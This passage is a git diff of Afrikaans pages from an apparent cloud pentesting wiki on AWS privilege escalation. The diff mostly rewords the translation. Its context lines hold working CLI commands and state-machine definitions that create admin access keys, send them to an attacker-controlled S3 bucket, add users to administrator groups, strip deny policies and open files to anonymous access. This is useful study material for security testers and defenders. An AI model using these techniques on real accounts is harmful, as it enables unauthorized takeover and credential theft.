#Inside the EC2 instance @@ -35,7 +35,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ ### `ssm:StartSession` -'n Aanvaller met die toestemming **`ssm:StartSession`** kan **'n SSH-agtige sessie in instansies** wat die Amazon SSM Agent draai, **begin en die IAM Rol** wat binne dit loop, **kompromitteer**. +'n Aanvaller met die toestemming **`ssm:StartSession`** kan **'n SSH-agtige sessie in instansies** wat die Amazon SSM Agent draai, **begin en die IAM Rol** wat binne dit draai, **kompromitteer**. ```bash # Check for configured instances aws ssm describe-instance-information @@ -59,11 +59,11 @@ aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` ![](<../../../images/image (185).png>) -**Potensiële Impak:** Direkte privesc na die `ECS` IAM rolle wat aan lopende take met `ExecuteCommand` geaktiveer is, geheg is. +**Potensiële Impak:** Direkte privesc na die `ECS`IAM rolle wat aan lopende take met `ExecuteCommand` geaktiveer is, geheg is. ### `ssm:ResumeSession` -'n Aanvaller met die toestemming **`ssm:ResumeSession`** kan 'n **SSH-agtige sessie in instances** wat die Amazon SSM Agent draai met 'n **afgekoppelde** SSM sessietoestand herbegin en **die IAM Rol** wat binne dit draai, kompromitteer. +'n Aanvaller met die toestemming **`ssm:ResumeSession`** kan 'n **SSH-agtige sessie in instances** wat die Amazon SSM Agent draai met 'n **afgekoppelde** SSM sessietoestand her-**begin** en die **IAM Rol** wat binne dit draai, **kompromitteer**. ```bash # Check for configured instances aws ssm describe-sessions @@ -87,7 +87,7 @@ aws ssm get-parameter --name id_rsa --with-decryption ### `ssm:ListCommands` -'n Aanvaller met hierdie toestemming kan al die **opdragte** lys wat gestuur is en hoopvol **sensitiewe inligting** daarop vind. +'n Aanvaller met hierdie toestemming kan al die **opdragte** lys wat gestuur is en hopelik **sensitiewe inligting** daarop vind. ``` aws ssm list-commands ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index 9967e41fa..0feb8ce96 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -4,20 +4,20 @@ ## AWS Identity Center / AWS SSO -Vir meer inligting oor AWS Identity Center / AWS SSO kyk: +Vir meer inligting oor AWS Identity Center / AWS SSO, kyk: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} > [!WARNING] -> Let daarop dat slegs **gebruikers** met **toestemmings** van die **Bestuursrekening** toegang sal hê tot en **beheer oor die IAM Identity Center** sal hê.\ +> Let daarop dat slegs **gebruikers** met **toestemmings** **van** die **Bestuursrekening** toegang sal hê tot en **beheer** oor die IAM Identity Center.\ > Gebruikers van ander rekeninge kan dit slegs toelaat as die rekening 'n **Gedelegeerde Administrateur** is.\ > [Kyk die dokumentasie vir meer inligting.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) -### ~~Reset Wagtwoord~~ +### ~~Herstel Wagwoord~~ -'n Maklike manier om voorregte te verhoog in gevalle soos hierdie, sou wees om 'n toestemming te hê wat toelaat om gebruikers se wagwoorde te reset. Ongelukkig is dit slegs moontlik om 'n e-pos aan die gebruiker te stuur om sy wagwoord te reset, so jy sal toegang tot die gebruiker se e-pos nodig hê. +'n Maklike manier om voorregte te verhoog in gevalle soos hierdie, sou wees om 'n toestemming te hê wat toelaat om gebruikers se wagwoorde te herstel. Ongelukkig is dit slegs moontlik om 'n e-pos aan die gebruiker te stuur om sy wagwoord te herstel, so jy sal toegang tot die gebruiker se e-pos nodig hê. ### `identitystore:CreateGroupMembership` @@ -63,7 +63,7 @@ aws sso-admin provision-permission-set --instance-arn --permissio 'n Aanvaller met hierdie toestemming kan ekstra toestemmings toeken aan 'n Toestemmingstel wat aan 'n gebruiker onder sy beheer toegeken is. > [!WARNING] -> Om hierdie toestemmings in hierdie geval te misbruik, moet jy die **naam van 'n klantbestuurde beleid weet wat binne AL die rekeninge is** wat geraak gaan word. +> Om hierdie toestemmings in hierdie geval te misbruik, moet jy die **naam van 'n kliënt bestuurde beleid weet wat binne AL die rekeninge is** wat geraak gaan word. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -83,29 +83,29 @@ Gee die STS korttermyn geloofsbriewe vir 'n gegewe rolnaam wat aan die gebruiker ``` aws sso get-role-credentials --role-name --account-id --access-token ``` -However, you need an access token that I'm not sure how to get (TODO). +However, jy het 'n toegangstoken nodig wat ek nie seker weet hoe om te kry nie (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` -'n Aanvaller met hierdie toestemming kan die assosiasie tussen 'n AWS bestuurde beleid en die gespesifiseerde toestemmingstel verwyder. Dit is moontlik om meer voorregte toe te ken deur **'n bestuurde beleid (weier beleid)** te ontkoppel. +'n Aanvaller met hierdie toestemming kan die assosiasie tussen 'n AWS bestuurde beleid en die gespesifiseerde toestemmingstel verwyder. Dit is moontlik om meer voorregte toe te ken deur **'n bestuurde beleid te ontkoppel (weier beleid)**. ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -'n Aanvaller met hierdie toestemming kan die assosiasie tussen 'n kliënt bestuurde beleid en die gespesifiseerde toestemmingset verwyder. Dit is moontlik om meer voorregte toe te ken deur **'n bestuurde beleid te ontkoppel (weier beleid)**. +'n Aanvaller met hierdie toestemming kan die assosiasie tussen 'n kliënt bestuurde beleid en die gespesifiseerde toestemmingset verwyder. Dit is moontlik om meer voorregte toe te ken deur **'n bestuurde beleid (weier beleid)** te ontkoppel. ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` ### `sso:DeleteInlinePolicyFromPermissionSet` -'n Aanvaller met hierdie toestemming kan die toestemmings uit 'n inline beleid van die toestemmingset verwyder. Dit is moontlik om **meer voorregte te verleen deur 'n inline beleid (weier beleid) te ontkoppel**. +'n Aanvaller met hierdie toestemming kan die toestemmings uit 'n inline beleid van die toestemmingstel verwyder. Dit is moontlik om **meer voorregte te verleen deur 'n inline beleid (weier beleid) te ontkoppel**. ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` ### `sso:DeletePermissionBoundaryFromPermissionSet` -'n Aanvaller met hierdie toestemming kan die Permission Boundary uit die toestemmingstel verwyder. Dit is moontlik om **meer bevoegdhede te verleen deur die beperkings op die Permission Set** wat van die Permission Boundary gegee is, te verwyder. +'n Aanvaller met hierdie toestemming kan die Permission Boundary uit die toestemmingstel verwyder. Dit is moontlik om **meer bevoegdhede te verleen deur die beperkings op die Toestemmingstel** wat van die Permission Boundary gegee is, te verwyder. ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index c17eef980..af81d81fb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -12,24 +12,24 @@ Vir meer inligting oor hierdie AWS-diens, kyk: ### Taak Hulpbronne -Hierdie voorregverhogingstegnieke gaan vereis dat jy 'n paar AWS stapfunksie hulpbronne gebruik om die verlangde voorregverhogingsaksies uit te voer. +Hierdie voorregverhoging tegnieke gaan vereis dat jy 'n paar AWS stap funksie hulpbronne gebruik om die verlangde voorregverhoging aksies uit te voer. -Om al die moontlike aksies te kontroleer, kan jy na jou eie AWS-rekening gaan, die aksie kies wat jy wil gebruik en die parameters wat dit gebruik, soos in: +Om al die moontlike aksies te kontroleer, kan jy na jou eie AWS-rekening gaan, die aksie wat jy wil gebruik kies en die parameters wat dit gebruik, soos in:
-Of jy kan ook na die API AWS-dokumentasie gaan en elke aksiedokumentasie nagaan: +Of jy kan ook na die API AWS dokumentasie gaan en elke aksie se dokumentasie nagaan: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -'n Aanvaller met die **`states:TestState`** & **`iam:PassRole`** toestemmings kan enige toestand toets en enige IAM-rol daaraan oorplaas sonder om 'n bestaande toestandsmasjien te skep of op te dateer, wat ongeoorloofde toegang tot ander AWS-dienste met die rolle se toestemmings moontlik maak. Saam kan hierdie toestemmings lei tot uitgebreide ongeoorloofde aksies, van die manipulasie van werksvloeie tot die verandering van data, datalekke, hulpbronmanipulasie en voorregverhoging. +'n Aanvaller met die **`states:TestState`** & **`iam:PassRole`** toestemmings kan enige toestand toets en enige IAM-rol daaraan oorplaas sonder om 'n bestaande toestand masjien te skep of op te dateer, wat ongeoorloofde toegang tot ander AWS-dienste met die rolle se toestemmings moontlik maak. Saam kan hierdie toestemmings lei tot uitgebreide ongeoorloofde aksies, van die manipulasie van werksvloei tot die verandering van data, datalekke, hulpbron manipulasie, en voorregverhoging. ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -Die volgende voorbeelde wys hoe om 'n toestand te toets wat 'n toegangsleutel vir die **`admin`** gebruiker skep deur gebruik te maak van hierdie toestemmings en 'n toegeeflike rol van die AWS-omgewing. Hierdie toegeeflike rol moet enige hoë-bevoegdheid beleid geassosieer met dit hê (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat toelaat dat die toestand die **`iam:CreateAccessKey`** aksie uitvoer: +Die volgende voorbeelde wys hoe om 'n toestand te toets wat 'n toegangsleutel vir die **`admin`** gebruiker skep deur gebruik te maak van hierdie toestemmings en 'n toelaatbare rol van die AWS-omgewing. Hierdie toelaatbare rol moet enige hoë-bevoegdheid beleid daaraan gekoppel hê (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die toestand toelaat om die **`iam:CreateAccessKey`** aksie uit te voer: - **stateDefinition.json**: ```json @@ -42,7 +42,7 @@ Die volgende voorbeelde wys hoe om 'n toestand te toets wat 'n toegangsleutel vi "End": true } ``` -- **Opdrag** uitgevoer om die privesc te doen: +- **Opdrag** uitgevoer om die privesc uit te voer: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole @@ -59,11 +59,11 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn "status": "SUCCEEDED" } ``` -**Potensiële Impak**: Onbevoegde uitvoering en manipulasie van werksvloeie en toegang tot sensitiewe hulpbronne, wat moontlik kan lei tot beduidende sekuriteitsbreuke. +**Potensiële Impak**: Onbevoegde uitvoering en manipulasie van werksvloei en toegang tot sensitiewe hulpbronne, wat moontlik kan lei tot beduidende sekuriteitsbreuke. ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -'n Aanvaller met die **`states:CreateStateMachine`**& **`iam:PassRole`** sou in staat wees om 'n staatmasjien te skep en enige IAM-rol aan dit te verskaf, wat onbevoegde toegang tot ander AWS-dienste met die rolle se toestemmings moontlik maak. In teenstelling met die vorige privesc tegniek (**`states:TestState`** & **`iam:PassRole`**), voer hierdie een nie self uit nie; jy sal ook die **`states:StartExecution`** of **`states:StartSyncExecution`** toestemmings nodig hê (**`states:StartSyncExecution`** is **nie beskikbaar vir standaard werksvloeie nie**, **net om staatmasjiene uit te druk**) om 'n uitvoering oor die staatmasjien te begin. +'n Aanvaller met die **`states:CreateStateMachine`**& **`iam:PassRole`** sal in staat wees om 'n staatmasjien te skep en enige IAM-rol aan dit toe te ken, wat onbevoegde toegang tot ander AWS-dienste met die rolle se toestemmings moontlik maak. In teenstelling met die vorige privesc-tegniek (**`states:TestState`** & **`iam:PassRole`**), voer hierdie een nie self uit nie; jy sal ook die **`states:StartExecution`** of **`states:StartSyncExecution`** toestemmings nodig hê (**`states:StartSyncExecution`** is **nie beskikbaar vir standaard werksvloei nie**, **net om staatmasjiene uit te druk**) om 'n uitvoering oor die staatmasjien te begin. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` -Die volgende voorbeelde toon hoe om 'n toestandsmasjien te skep wat 'n toegangsleutel vir die **`admin`** gebruiker skep en hierdie toegangsleutel na 'n aanvaller-beheerde S3-bucket uit te voer, terwyl hierdie toestemmings en 'n toelaatbare rol van die AWS-omgewing benut word. Hierdie toelaatbare rol moet enige hoë-privilege beleid geassosieer met dit hê (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die toestandsmasjien toelaat om die **`iam:CreateAccessKey`** & **`s3:putObject`** aksies uit te voer. +Die volgende voorbeelde toon hoe om 'n toestandsmasjien te skep wat 'n toegangsleutel vir die **`admin`** gebruiker skep en hierdie toegangsleutel na 'n aanvaller-beheerde S3-bucket uit te voer, terwyl hierdie toestemmings en 'n toelaatbare rol van die AWS-omgewing benut word. Hierdie toelaatbare rol moet enige hoë-privilege beleid daaraan gekoppel hê (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die toestandsmasjien toelaat om die **`iam:CreateAccessKey`** & **`s3:putObject`** aksies uit te voer. - **stateMachineDefinition.json**: ```json @@ -115,7 +115,7 @@ Die volgende voorbeelde toon hoe om 'n toestandsmasjien te skep wat 'n toegangsl } } ``` -- **Opdrag** uitgevoer om die **toestandmasjien** te **skep**: +- **Opdrag** uitgevoer om **die toestandmasjien** te **skep**: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { @@ -132,26 +132,26 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 } ``` > [!WARNING] -> Die deur die aanvaller beheerde S3-bucket moet toestemmings hê om 'n s3:PutObject aksie van die slagoffer rekening te aanvaar. +> Die aanvaller-beheerde S3-bucket moet toestemmings hê om 'n s3:PutObject aksie van die slagoffer rekening te aanvaar. -**Potensiële Impak**: Ongeoorloofde uitvoering en manipulasie van werksvloei en toegang tot sensitiewe hulpbronne, wat moontlik kan lei tot beduidende sekuriteitsbreuke. +**Potensiële Impak**: Onbevoegde uitvoering en manipulasie van werksvloei en toegang tot sensitiewe hulpbronne, wat moontlik kan lei tot beduidende sekuriteitsbreuke. ### `states:UpdateStateMachine` & (nie altyd vereis nie) `iam:PassRole` -'n Aanvaller met die **`states:UpdateStateMachine`** toestemming sal in staat wees om die definisie van 'n toestandsmasjien te wysig, en kan ekstra stealthy toestande byvoeg wat kan eindig in 'n privilige-escalasie. Op hierdie manier, wanneer 'n wettige gebruiker 'n uitvoering van die toestandsmasjien begin, sal hierdie nuwe kwaadwillige stealth toestand uitgevoer word en die privilige-escalasie sal suksesvol wees. +'n Aanvaller met die **`states:UpdateStateMachine`** toestemming sal in staat wees om die definisie van 'n staat masjien te wysig, en kan ekstra stealthy state byvoeg wat kan eindig in 'n privilige-escalasie. Op hierdie manier, wanneer 'n wettige gebruiker 'n uitvoering van die staat masjien begin, sal hierdie nuwe kwaadwillige stealth staat uitgevoer word en die privilige-escalasie sal suksesvol wees. -Afhangende van hoe permissief die IAM Rol geassosieer met die toestandsmasjien is, sal 'n aanvaller 2 situasies in die gesig staar: +Afhangende van hoe permissief die IAM Rol geassosieer met die staat masjien is, sal 'n aanvaller 2 situasies in die gesig staar: -1. **Permissiewe IAM Rol**: As die IAM Rol geassosieer met die toestandsmasjien reeds permissief is (dit het byvoorbeeld die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid aangeheg), dan sal die **`iam:PassRole`** toestemming nie vereis word om privilige te eskaleer nie, aangesien dit nie nodig sal wees om ook die IAM Rol op te dateer nie, met die toestandsmasjien definisie is genoeg. -2. **Nie permissiewe IAM Rol**: In teenstelling met die vorige geval, hier sal 'n aanvaller ook die **`iam:PassRole`** toestemming benodig aangesien dit nodig sal wees om 'n permissiewe IAM Rol aan die toestandsmasjien te assosieer benewens om die toestandsmasjien definisie te wysig. +1. **Permissiewe IAM Rol**: As die IAM Rol geassosieer met die staat masjien reeds permissief is (dit het byvoorbeeld die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid aangeheg), dan sal die **`iam:PassRole`** toestemming nie vereis word om privilige te eskaleer nie, aangesien dit nie nodig sal wees om ook die IAM Rol op te dateer nie, met die staat masjien definisie is genoeg. +2. **Nie permissiewe IAM Rol**: In teenstelling met die vorige geval, hier sal 'n aanvaller ook die **`iam:PassRole`** toestemming benodig aangesien dit nodig sal wees om 'n permissiewe IAM Rol aan die staat masjien te assosieer benewens om die staat masjien definisie te wysig. ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` -Die volgende voorbeelde wys hoe om 'n wettige toestandsmasjien op te dateer wat net 'n HelloWorld Lambda-funksie aanroep, om 'n ekstra toestand by te voeg wat die gebruiker **`unprivilegedUser`** by die **`administrator`** IAM-groep voeg. Op hierdie manier, wanneer 'n wettige gebruiker 'n uitvoering van die opgedateerde toestandsmasjien begin, sal hierdie nuwe kwaadwillige stealth-toestand uitgevoer word en die privilige-escalasie sal suksesvol wees. +Die volgende voorbeelde wys hoe om 'n wettige toestandsmasjien op te dateer wat net 'n HelloWorld Lambda-funksie aanroep, om 'n ekstra toestand by te voeg wat die gebruiker **`unprivilegedUser`** aan die **`administrator`** IAM-groep voeg. Op hierdie manier, wanneer 'n wettige gebruiker 'n uitvoering van die opgedateerde toestandsmasjien begin, sal hierdie nuwe kwaadwillige stealth-toestand uitgevoer word en die privilige-eskalasie sal suksesvol wees. > [!WARNING] -> As die toestandsmasjien nie 'n toelaatbare IAM-rol geassosieer het nie, sal dit ook vereis word dat die **`iam:PassRole`** toestemming gegee word om die IAM-rol op te dateer ten einde 'n toelaatbare IAM-rol te assosieer (byvoorbeeld een met die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid aangeheg). +> As die toestandsmasjien nie 'n toelaatbare IAM-rol het nie, sal dit ook die **`iam:PassRole`** toestemming benodig om die IAM-rol op te dateer ten einde 'n toelaatbare IAM-rol te assosieer (byvoorbeeld een met die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid aangeheg). {{#tabs }} {{#tab name="Legit State Machine" }} @@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` -**Potensiële Impak**: Onbevoegde uitvoering en manipulasie van werksvloeie en toegang tot sensitiewe hulpbronne, wat moontlik kan lei tot beduidende sekuriteitsbreuke. +**Potensiële Impak**: Onbevoegde uitvoering en manipulasie van werksvloei en toegang tot sensitiewe hulpbronne, wat moontlik kan lei tot beduidende sekuriteitsbreuke. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 80f3df177..2139abb6a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -8,7 +8,7 @@ Elke rol word geskep met 'n **rol vertrouensbeleid**, hierdie beleid dui aan **wie die geskepte rol kan aanvaar**. As 'n rol van die **dieselfde rekening** sê dat 'n rekening dit kan aanvaar, beteken dit dat die rekening toegang tot die rol sal hê (en moontlik **privesc**). -Byvoorbeeld, die volgende rol vertrouensbeleid dui aan dat enigiemand dit kan aanvaar, daarom **sal enige gebruiker in staat wees om privesc** na die toestemmings wat met daardie rol geassosieer word. +Byvoorbeeld, die volgende rol vertrouensbeleid dui aan dat enigiemand dit kan aanvaar, daarom **sal enige gebruiker in staat wees om privesc** na die toestemmings wat met daardie rol geassosieer is. ```json { "Version": "2012-10-17", @@ -23,7 +23,7 @@ Byvoorbeeld, die volgende rol vertrouensbeleid dui aan dat enigiemand dit kan aa ] } ``` -U kan 'n rol naboots deur te loop: +Jy kan 'n rol naboots deur: ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` @@ -31,7 +31,7 @@ aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname > [!CAUTION] > Let daarop dat in hierdie geval die toestemming `sts:AssumeRole` **aangedui moet word in die rol om te misbruik** en nie in 'n beleid wat aan die aanvaller behoort nie.\ -> Met een uitsondering, om 'n **rol van 'n ander rekening** te **aanneem**, moet die aanvaller rekening **ook** die **`sts:AssumeRole`** oor die rol hê. +> Met een uitsondering, om 'n **rol van 'n ander rekening aan te neem** moet die aanvaller rekening **ook** die **`sts:AssumeRole`** oor die rol hê. ### **`sts:GetFederationToken`** @@ -39,7 +39,7 @@ Met hierdie toestemming is dit moontlik om akrediteer te genereer om enige gebru ```bash aws sts get-federation-token --name ``` -Dit is hoe hierdie toestemming veilig gegee kan word sonder om toegang te gee om ander gebruikers na te volg: +Dit is hoe hierdie toestemming veilig gegee kan word sonder om toegang te gee om ander gebruikers na te boots: ```json { "Version": "2012-10-17", @@ -78,7 +78,7 @@ Dit is hoe hierdie toestemming veilig gegee kan word sonder om toegang te gee om ] } ``` -Om geloofsbriewe te genereer om die rol te verteenwoordig, kan jy iets soos gebruik: +Om akrediteerings te genereer om die rol te verteenwoordig, kan jy iets soos gebruik: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index 53b709c31..f7740127f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -15,7 +15,7 @@ Skep 'n gebruiker binne die aangeduide Directory, dan sal jy toegang hê tot bei # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` +### `workdocs:GetDocument`, `(workdocs:DescribeActivities)` Die lêers mag sensitiewe inligting bevat, lees hulle: ```bash @@ -30,7 +30,7 @@ aws workdocs get-document --document-id ``` ### `workdocs:AddResourcePermissions` -As jy nie toegang het om iets te lees nie, kan jy dit eenvoudig toeken. +As jy nie toegang het om iets te lees nie, kan jy dit net toeken. ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index f9a9cd7a8..f7552f221 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -25,7 +25,7 @@ aws scheduler create-schedule \ "RoleArn": "arn:aws:iam:::role/" }' ``` -In addision tot templated diens aksies, kan jy **universal targets** in EventBridge Scheduler gebruik om 'n wye reeks API operasies vir baie AWS dienste aan te roep. Universal targets bied buigsaamheid om byna enige API aan te roep. Een voorbeeld kan wees om universal targets te gebruik om "**AdminAccessPolicy**" toe te voeg, met 'n rol wat die "**putRolePolicy**" beleid het: +Benewens templated diensaksies, kan jy **universele teikens** in EventBridge Scheduler gebruik om 'n wye verskeidenheid API-operasies vir baie AWS-dienste aan te roep. Universele teikens bied buigsaamheid om byna enige API aan te roep. Een voorbeeld kan wees om universele teikens te gebruik om "**AdminAccessPolicy**" toe te voeg, met 'n rol wat die "**putRolePolicy**" beleid het: ```bash aws scheduler create-schedule \ --name GrantAdminToTargetRoleSchedule \ diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index f62b35238..b5ea14288 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -10,18 +10,18 @@ Dienste wat onder houer dienste val, het die volgende eienskappe: - Die diens self loop op **afsonderlike infrastruktuur instansies**, soos EC2. - **AWS** is verantwoordelik vir **die bestuur van die bedryfstelsel en die platform**. -- 'n Gemanagte diens word deur AWS verskaf, wat tipies die diens self is vir die **werklike aansoek wat as houers gesien word**. +- 'n Gemanagte diens word deur AWS verskaf, wat tipies die diens self is vir die **werklike toepassing wat as houers gesien word**. - As 'n gebruiker van hierdie houer dienste, het jy 'n aantal bestuur en sekuriteit verantwoordelikhede, insluitend **die bestuur van netwerktoegang sekuriteit, soos netwerktoegangbeheerlys reëls en enige vuurmure**. - Ook, platform-vlak identiteit en toegang bestuur waar dit bestaan. - **Voorbeelde** van AWS houer dienste sluit Relational Database Service, Elastic Mapreduce, en Elastic Beanstalk in. ### Abstrakte Dienste -- Hierdie dienste is **verwyder, geabstraheer, van die platform of bestuurslaag waarop wolk aansoeke gebou is**. -- Die dienste word via eindpunte toeganklik gemaak deur gebruik te maak van AWS aansoekprogrammering interfaces, APIs. +- Hierdie dienste is **verwyder, geabstraheer, van die platform of bestuurslaag waarop wolktoepassings gebou is**. +- Die dienste word via eindpunte toeganklik gemaak deur AWS toepassingsprogrammeringsinterfaces, APIs. - Die **onderliggende infrastruktuur, bedryfstelsel, en platform word deur AWS bestuur**. -- Die geabstraheerde dienste bied 'n multi-huur platform waarop die onderliggende infrastruktuur gedeel word. -- **Data is geïsoleer deur middel van sekuriteitsmeganismes**. +- Die geabstraheerde dienste bied 'n multi-tenancy platform waarop die onderliggende infrastruktuur gedeel word. +- **Data is geïsoleer deur sekuriteitsmeganismes**. - Abstrakte dienste het 'n sterk integrasie met IAM, en **voorbeelde** van abstrakte dienste sluit S3, DynamoDB, Amazon Glacier, en SQS in. ## Dienste Enumerasie diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index aa60f5255..6e887ebcb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -12,8 +12,8 @@ API Gateway stel jou in staat om **te definieer hoe versoeke na jou API's hantee ### API Gateway Tipes -- **HTTP API**: Bou lae-latensie en koste-effektiewe REST API's met ingeboude funksies soos OIDC en OAuth2, en inheemse CORS-ondersteuning. Werk met die volgende: Lambda, HTTP agtergronde. -- **WebSocket API**: Bou 'n WebSocket API met volgehoue verbindings vir regte tyd gebruiksgevalle soos klets toepassings of dashboards. Werk met die volgende: Lambda, HTTP, AWS Dienste. +- **HTTP API**: Bou lae-latensie en kostedoeltreffende REST API's met ingeboude funksies soos OIDC en OAuth2, en inheemse CORS-ondersteuning. Werk met die volgende: Lambda, HTTP agtergronde. +- **WebSocket API**: Bou 'n WebSocket API met volgehoue verbindings vir regte-tyd gebruiksgevalle soos klets toepassings of dashboards. Werk met die volgende: Lambda, HTTP, AWS Dienste. - **REST API**: Ontwikkel 'n REST API waar jy volledige beheer oor die versoek en antwoord het, saam met API bestuur vermoëns. Werk met die volgende: Lambda, HTTP, AWS Dienste. - **REST API Privaat**: Skep 'n REST API wat slegs vanaf binne 'n VPC toeganklik is. @@ -22,18 +22,18 @@ API Gateway stel jou in staat om **te definieer hoe versoeke na jou API's hantee 1. **Hulpbronne**: In API Gateway is hulpbronne die komponente wat **die struktuur van jou API vorm**. Hulle verteenwoordig **die verskillende paaie of eindpunte** van jou API en ooreen met die verskillende aksies wat jou API ondersteun. 'n Hulpbron is elke metode (bv. GET, POST, PUT, DELETE) **binne elke pad** (/, of /users, of /user/{id}). 2. **Fases**: Fases in API Gateway verteenwoordig **verskillende weergawes of omgewings** van jou API, soos ontwikkeling, staging, of produksie. Jy kan fases gebruik om **meervoudige weergawes van jou API gelyktydig te bestuur en te ontplooi**, wat jou toelaat om nuwe funksies of foutoplossings te toets sonder om die produksie-omgewing te beïnvloed. Fases ondersteun ook **fase veranderlikes**, wat sleutel-waarde pare is wat gebruik kan word om die gedrag van jou API op grond van die huidige fase te konfigureer. Byvoorbeeld, jy kan fase veranderlikes gebruik om API versoeke na verskillende Lambda funksies of ander agtergrond dienste te lei, afhangende van die fase. - Die fase word aan die begin van die URL van die API Gateway eindpunt aangedui. -3. **Outoriseerders**: Outoriseerders in API Gateway is verantwoordelik vir **die beheer van toegang tot jou API** deur die identiteit van die oproeper te verifieer voordat die versoek voortgaan. Jy kan **AWS Lambda funksies** as pasgemaakte outoriseerders gebruik, wat jou toelaat om jou eie autentisering en outorisering logika te implementeer. Wanneer 'n versoek inkom, stuur API Gateway die versoek se outoriseringstoken na die Lambda outoriseerder, wat die token verwerk en 'n IAM-beleid teruggee wat bepaal watter aksies die oproeper mag uitvoer. API Gateway ondersteun ook **ingeboude outoriseerders**, soos **AWS Identiteit en Toegang Bestuur (IAM)** en **Amazon Cognito**. -4. **Hulpbronbeleid**: 'n Hulpbronbeleid in API Gateway 